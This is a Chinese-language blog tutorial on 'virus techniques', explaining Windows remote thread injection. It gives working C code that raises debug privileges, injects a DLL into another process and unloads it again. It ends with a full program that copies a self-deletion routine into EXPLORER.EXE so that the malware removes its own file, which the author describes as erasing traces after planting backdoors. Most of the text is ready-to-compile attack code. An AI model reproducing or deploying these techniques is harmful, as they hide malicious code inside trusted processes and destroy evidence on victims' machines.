病毒常用技术之远程线程 插入技术
今天真是一个令人倒霉的天气的。
今天早上早早的爬起来,本想趁着今天的好天气好心情,写上一篇好的技术文章。不想该死的CNBLOG的管理员败坏了我的好兴致。我费了九牛二虎之力,用了 近两个小时好不容易把文章写好了,提交的时候却提示错误(没有细看也不知是什么鸟什错误),我就怕文章丢失赶紧后退回来却发现标题和关键字还在,而我辛辛 苦苦写的文章却被“这里编辑日志内容”几个字所替代。咳!倒霉的事情不说了......。下面接着写我的文章。
现在有一个项目需 要承包给其他公司去完成,一般承包给你个公司就够了,可是如果项目比较大可能就需要承包给多个公司同时完成。公司只是一个组织,它不能够完成我们的项目, 项目的具体实施要交给公司所属的程序员来完成。一个公司下面最少要有一名员工,不然工商局是不会给注册的,如果公司注销公司所属的员工也就不会存在。在我 们的计算机里,项目就好比是我们通过双击一个可执行文件来运行一个程序,进程是公司,线程就是公司里面的员工。
病毒为了实现自己不注册公司也要完成自己所需的工作,方法就是在其他公司面安插一名自己的奸细,吃别人的拿别人而却替自己工作。这就是病毒较为常用的隐藏进程技术。
这里要用到Microsoft提供的一个API函数CreateRemoteThread,该函数声明如下:
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,//安全属性指针,NULL表示使用默认安全属性
SIZE_T dwStackSize, //堆栈大小,0表示默认
LPTHREAD_START_ROUTINE lpStartAddress, //线程函数地址
LPVOID lpParameter, //线程函数的参数地址
DWORD dwCreationFlags, //标志,一般为0
LPDWORD lpThreadId //成功后返回的线程ID
);
由于我们安插的奸细不听那倒霉公司的指挥,需要我们给他安排任务,但是这个任务我们怎么才能分配给他呢?
最好的做法就是把任务代码放入一动态连接库文件中,使用CreateRemoteThread函数把这个动态连接库装载进目标进程,由动态连接库的 DllMain函数响应动态连接库被装载事件来执行我们的任务,不过这样操作会在目标进程中多出一个模块来,那么有没有一种方法即让目标进程运行我们的任 务又不使用动态连接库文件呢?答案是肯定的,那就是把任务代码也插入到目标进程空间中,由于执行体在两个进程中的位置不同,线程函数中的变量、字符串映射 入进程空间的位置也不定相同,这就需要线程函数对其所调用的函数进行重新定位,将所须用到的字符串等信息写入目标进程中,将在目标进程中存放字符串等信息 的地址作为参数传递给线程函数,WINDOWS中提供的API函数GetProcAddress可是实现获取API函数地址的功能。以下对各种实现方法进 行阐述。
一、使用远程线程插入技术为进程插入和删除模块
具体操作步骤如下:
1. 提升当前进程的操作权限,使其有权限对其他进程进行操作。
HANDLE hToken;
OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken );
TOKEN_PRIVILEGES tp;
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid );
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), NULL, NULL );
2. 取得目标 Process ID (这个方法有很多,你可以使用 FindWindow+GetWindowProcessID 或则使用PSAPI中的函数,或则使用其他的终止只要找一个下手的目标就可以)
3. 使用OpenProcess 打开进程并设定对进程的操作权限。
HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, Pid );
if(hProcess==NULL)
{
MessageBox(TEXT("打开进程出错"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
4. 使用 VirtualAllocEx 在目标行程内要求一块可读写的空间,用来存放要装入DLL的名字。
LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize*sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE );
if ( NULL == lpBuf )
{
MessageBox(TEXT("分配空间失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
CloseHandle( hProcess );
return FALSE;
}
5. 使用 WriteProcessMemory 将DLL名字写进刚刚要求的空间中。
if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)DllPathName, dwSize, &dwWritten ) )
{
if ( dwWritten != dwSize )
{
VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
CloseHandle( hProcess );
MessageBox(TEXT("写入失败,写入字节大小不符"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
}
else
{
CloseHandle( hProcess );
VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
MessageBox(TEXT("写入失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
6. 准备完毕,使用CreateRemoteThread 开始创建远程线程。
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );
由于我们现在讲的是使用远程线程技术装载DLL,因此pFunc的值应为LoadLibrary函数的地址。
7. WaitForSingleObject( hThread, INFINITE ); (等待 Thread 结束) 。
8. VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT ); 回收刚刚申请的空间 。
9. CloseHandle( hThread );关闭线程句柄 。
CloseHandle( hProcess );关闭进程句柄。
这样我们便在目标进程中插入了一个模块,在目标进程中卸载一个模块的操作步骤和这个基本一致。前5个步骤与插入模块的时候完全一致,这里不再累述,下面从第六个步骤开始叙述:
6. 准备完毕,使用CreateRemoteThread 开始创建远程线程。
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );
由于我们现在讲的是使用远程线程技术卸载DLL,因此我们要提前获取待删除模块在目标进程中的模块句柄,pFunc的值应为GetModuleHandle函数的地址。
7. WaitForSingleObject( hThread, INFINITE ); (等待 Thread 结束) 。
8.使用GetExitCodeThread(hThread,&hMod);获取线程退出代码,也就是GetModuleHandle函数的返回值,待删除模块句柄保存在hMod中。
9.VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT ); 回收刚刚申请的空间 。
CloseHandle( hThread );关闭线程句柄 。
10. 再次调用CreateRemoteThread函数
pFunc = FreeLibrary;
hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc,(LPVOID) hMod, 0, &dwID );
注意此时pFunc的值是FreeLibrary函数的地址,线程参数改为我们刚刚获取的待删除模块句柄hMod。
11.收尾工作
CloseHandle( hThread );关闭线程句柄 。
CloseHandle( hProcess );关闭进程句柄。
演示程序:进程模块管理器
二、使用远程线程插入技术实现程序删除自身功能
可执行程序自删除技术是病毒惯用的技术,其在做好对你计算机的修改,安插后门的工作后为了擦除自己的痕迹通常要把自己删除,当然自删除的方法也有很多种,下面我们讲的是使用远程线程技术来达到自删除的目的。
具体代码如下:
#include "psapi.h"
#pragma comment(lib,"psapi")
typedef DWORD (WINAPI* MESSAGEBOXA)(HWND hWnd,LPCTSTR,LPCTSTR IpCaption,UINT UType);
typedef DWORD (WINAPI* MESSAGEBOXW)(HWND hWnd,LPWSTR,LPWSTR IpCaption,UINT UType);
typedef VOID (WINAPI* SLEEP)(DWORD);
typedef HINSTANCE (WINAPI *LOADLIBRARYA)(LPCTSTR);
typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE, LPCSTR);
typedef HINSTANCE (WINAPI *GETMODULEHANDLEA)(LPCTSTR);
typedef DWORD (WINAPI *DELETEFILEA)(char*);
typedef struct _RemoteParam{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwDeleteFileA;
DWORD dwSleep;
DWORD dwMessageBoxA;
DWORD dwMessageBoxW;
char strUser32[32];
char strKernel[32];
char strSleep[32];
char strMessageBoxA[32];
char strDeleteFileA[32];
char strFilePath[255];
USHORT strFilePathW[255];
}RemoteParam;
static void DelFileThread(LPVOID lparam)
{
USHORT tt[10];
USHORT *t=tt;
*(t++)=L'这';
*(t++)=L'是';
*(t++)=L'在';
*(t++)=L'另';
*(t++)=L'一';
*(t++)=L'个';
*(t++)=L'进';
*(t++)=L'程';
*(t++)=L'中';
*t='/0';
RemoteParam *pParam=(RemoteParam* )lparam;
SLEEP mySleep=(SLEEP)pParam->dwSleep;
MESSAGEBOXW myMessageBoxW=(MESSAGEBOXW)pParam->dwMessageBoxW;
DELETEFILEA myDeleteFileA=(DELETEFILEA)pParam->dwDeleteFileA;
mySleep(1000);
myMessageBoxW(NULL,(USHORT*)pParam->strFilePathW,tt,0);
myDeleteFileA(pParam->strFilePath);
}
static int test()
{
return 0;
}
void FillParam(RemoteParam& Param)
{
HINSTANCE hKernel,hUser;
hKernel=LoadLibrary("kernel32.dll");
hUser=LoadLibrary("User32.dll");
Param.dwDeleteFileA = (DWORD)GetProcAddress(hKernel,"DeleteFileA");
GetModuleFileName(NULL,Param.strFilePath,255);
GetModuleFileNameW(NULL,Param.strFilePathW,510);
Param.dwSleep = (DWORD) GetProcAddress(hKernel,"Sleep");
Param.dwMessageBoxW=(DWORD)GetProcAddress(hUser,"MessageBoxW");
Param.dwMessageBoxA=(DWORD)GetProcAddress(hUser,"MessageBoxA");
}
bool Init();
DWORD GetPidForPName(LPTSTR pName);
LPTSTR GetPNameForPid(DWORD Pid,LPTSTR PNameBuf,DWORD BufSize);
BOOL InsertFunc(DWORD Pid, DWORD pFun,DWORD FunSize, DWORD lParam, DWORD ParamSize);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
RemoteParam lParam;
FillParam(lParam);
if(!Init())
{
MessageBox(NULL,TEXT("提升权限失败"),TEXT("错误"),MB_OK|MB_ICONERROR);
}
DWORD pid=GetPidForPName(TEXT("EXPLORER.EXE"));
DWORD dwFuncSize=0;
dwFuncSize=(DWORD)test;
dwFuncSize=(DWORD)DelFileThread;
dwFuncSize=(DWORD)test-(DWORD)DelFileThread;
BOOL bRet = InsertFunc(pid,(DWORD)DelFileThread,dwFuncSize,(DWORD)&lParam,sizeof(RemoteParam));
return 0;
}
bool Init()
{
HANDLE hToken;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
return false;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
return false;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
return false;
CloseHandle(hToken);
return true;
}
DWORD GetPidForPName(LPTSTR pName)
{
DWORD pPid[256];
DWORD num;
TCHAR PNameBuf[65]={0};
EnumProcesses(pPid,sizeof(pPid),&num);
num/=sizeof(DWORD);
for(DWORD i=0;i<num;i++)
{
if(GetPNameForPid(pPid[i],PNameBuf,sizeof(PNameBuf))==NULL)
continue;
if(stricmp(PNameBuf,pName)==0)
return pPid[i];
}
return 0;
}
LPTSTR GetPNameForPid(DWORD Pid,LPTSTR PNameBuf,DWORD BufSize)
{
HMODULE hMod;
DWORD mnum;
HANDLE hProcess=OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,Pid);
if(!EnumProcessModules(hProcess,&hMod,4,&mnum))
return NULL;
GetModuleBaseName(hProcess,hMod,PNameBuf,BufSize);
return PNameBuf;
}
BOOL InsertFunc(DWORD Pid, DWORD pFun,DWORD FunSize, DWORD lParam, DWORD ParamSize)
{
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid );//PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE
if(hProcess==NULL)
{
MessageBox(NULL,TEXT("打开进程出错"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
DWORD dwWritten;
LPVOID lpFunBuf = VirtualAllocEx( hProcess, NULL, FunSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if ( NULL == lpFunBuf )
{
MessageBox(NULL,TEXT("为函数分配空间失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
CloseHandle( hProcess );
return FALSE;
}
LPVOID lpParBuf = VirtualAllocEx( hProcess, NULL, ParamSize, MEM_COMMIT, PAGE_READWRITE );
if ( NULL == lpParBuf )
{
MessageBox(NULL,TEXT("为参数分配空间失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
CloseHandle( hProcess );
return FALSE;
}
if ( WriteProcessMemory( hProcess, lpFunBuf, (LPVOID)pFun, FunSize, &dwWritten ) )
{
if ( dwWritten != FunSize )
{
VirtualFreeEx( hProcess, lpFunBuf, FunSize, MEM_DECOMMIT );
CloseHandle( hProcess );
MessageBox(NULL,TEXT("写入函数失败,写入字节大小不符"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
}
else
{
CloseHandle( hProcess );
VirtualFreeEx( hProcess, lpFunBuf, FunSize, MEM_DECOMMIT );
MessageBox(NULL,TEXT("写入失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
if ( WriteProcessMemory( hProcess, lpParBuf, (LPVOID)lParam, ParamSize, &dwWritten ) )
{
if ( dwWritten != ParamSize )
{
VirtualFreeEx( hProcess, lpParBuf, ParamSize, MEM_DECOMMIT );
CloseHandle( hProcess );
MessageBox(NULL,TEXT("写入参数失败,写入字节大小不符"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
}
else
{
CloseHandle( hProcess );
VirtualFreeEx( hProcess, lpParBuf, ParamSize, MEM_DECOMMIT );
MessageBox(NULL,TEXT("写入失败"),TEXT("插入模块"),MB_OK|MB_ICONERROR);
return FALSE;
}
DWORD dwID;
HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpFunBuf, lpParBuf, 0, &dwID );
// WaitForSingleObject( hThread, INFINITE );
//注意这里,一定不能使用这句,因为这句只有等到远程线程结束才会返回,而我们要在远程线程中删除自己,如果我门的主进程还没有退出,删除文件会失败的;
// VirtualFreeEx( hProcess, lpFunBuf, FunSize, MEM_DECOMMIT );
//这个和下面那句也不能要,因为这个时候,远程线程还没有退出而我们把它们的空间释放掉的话,就会造成被插入进程的崩溃。
// VirtualFreeEx( hProcess, lpParBuf, ParamSize, MEM_DECOMMIT );
CloseHandle( hThread );
CloseHandle(hProcess);
return TRUE;
}